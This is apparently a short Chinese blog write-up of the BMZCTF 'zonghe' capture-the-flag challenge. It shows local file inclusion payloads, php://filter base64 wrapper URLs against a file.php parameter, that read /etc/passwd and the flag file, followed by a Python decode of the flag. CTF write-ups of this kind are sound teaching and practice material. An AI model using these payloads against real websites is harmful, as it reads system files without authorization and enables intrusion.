BMZCTF:zonghe

http://www.bmzclub.cn/challenges#zonghe

在这里插入图片描述
在这里插入图片描述
看到这个,直接尝试可不可以伪协议读取本地文件

/file.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

在这里插入图片描述

/file.php?file=php://filter/convert.base64-encode/resource=/flag

在这里插入图片描述

>>> from base64 import *
>>> b64decode('Qk1aQ1RGezMyNTBiYmEzOGZjMzQ4YjQ5NzI0MjUxYmY4ZmIzYzgwfQo=')
b'BMZCTF{3250bba38fc348b49724251bf8fb3c80}\n'
>>>
相关推荐
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:马嘣嘣 返回首页